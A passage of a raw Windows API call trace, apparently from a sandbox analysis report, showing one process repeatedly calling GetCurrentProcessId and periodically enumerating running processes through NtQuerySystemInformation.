returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.173] GetCurrentProcessId () returned 0x10c0 [0184.861] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1e1d8) returned 0x0 [0185.570] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1e278) returned 0x0 [0186.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1e458) returned 0x0 [0187.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1e4a8) returned 0x0 [0188.394] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1e4f8) returned 0x0 [0189.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1e4f8) returned 0x0 [0190.006] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1e4a8) returned 0x0 [0190.192] GetCurrentProcessId () returned 0x10c0 [0190.192] GetCurrentProcessId () returned 0x10c0 [0190.192] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.193] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.194] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.195] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.196] GetCurrentProcessId () returned 0x10c0 [0190.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1e4a8) returned 0x0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.837] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.838] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.839] GetCurrentProcessId () returned 0x10c0 [0190.840] GetCurrentProcessId () returned 0x10c0 [0190.840] GetCurrentProcessId () returned 0x10c0 [0190.840] GetCurrentProcessId () returned 0x10c0 [0190.840] GetCurrentProcessId () returned 0x10c0 [0190.840] GetCurrentProcessId () returned 0x10c0 [0190.840] GetCurrentProcessId () returned 0x10c0 [0190.840] GetCurrentProcessId () returned 0x10c0 [0190.840] GetCurrentProcessId () returned 0x10c0 [0190.840] GetCurrentProcessId () returned 0x10c0 [0190.840] GetCurrentProcessId () returned 0x10c0 [0190.840] GetCurrentProcessId () returned 0x10c0 [0190.840] GetCurrentProcessId () returned 0x10c0 [0190.840] GetCurrentProcessId () returned 0x10c0 [0191.551] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1e548) returned 0x0 [0191.553] GetCurrentProcessId () returned 0x10c0 [0191.553] GetCurrentProcessId () returned 0x10c0 [0191.553] GetCurrentProcessId () returned 0x10c0 [0191.553] GetCurrentProcessId () returned 0x10c0 [0191.553] GetCurrentProcessId () returned 0x10c0 [0191.553] GetCurrentProcessId () returned 0x10c0 [0191.553] GetCurrentProcessId () returned 0x10c0 [0191.553] GetCurrentProcessId () returned 0x10c0 [0191.553] GetCurrentProcessId () returned 0x10c0 [0191.553] GetCurrentProcessId () returned 0x10c0 [0191.553] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.554] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.555] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.556] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0191.557] GetCurrentProcessId () returned 0x10c0 [0192.205] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1e4a8) returned 0x0 [0192.918] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1e4a8) returned 0x0 [0193.656] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1e4a8) returned 0x0 [0194.439] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12461578, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12461578, ResultLength=0x1b7becb0*=0x1e3b8) returned 0x0 [0195.107] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1e228) returned 0x0 [0196.107] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1e228) returned 0x0 [0197.101] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1df90) returned 0x0 [0197.114] GetCurrentProcessId () returned 0x10c0 [0197.114] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.115] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.116] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.117] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.118] GetCurrentProcessId () returned 0x10c0 [0197.119] GetCurrentProcessId () returned 0x10c0 [0198.247] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1df90) returned 0x0 [0198.950] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1df40) returned 0x0 [0199.751] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dea0) returned 0x0 [0200.433] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dea0) returned 0x0 [0201.153] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dea0) returned 0x0 [0201.950] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dea0) returned 0x0 [0202.605] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dea0) returned 0x0 [0203.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1de50) returned 0x0 [0203.398] 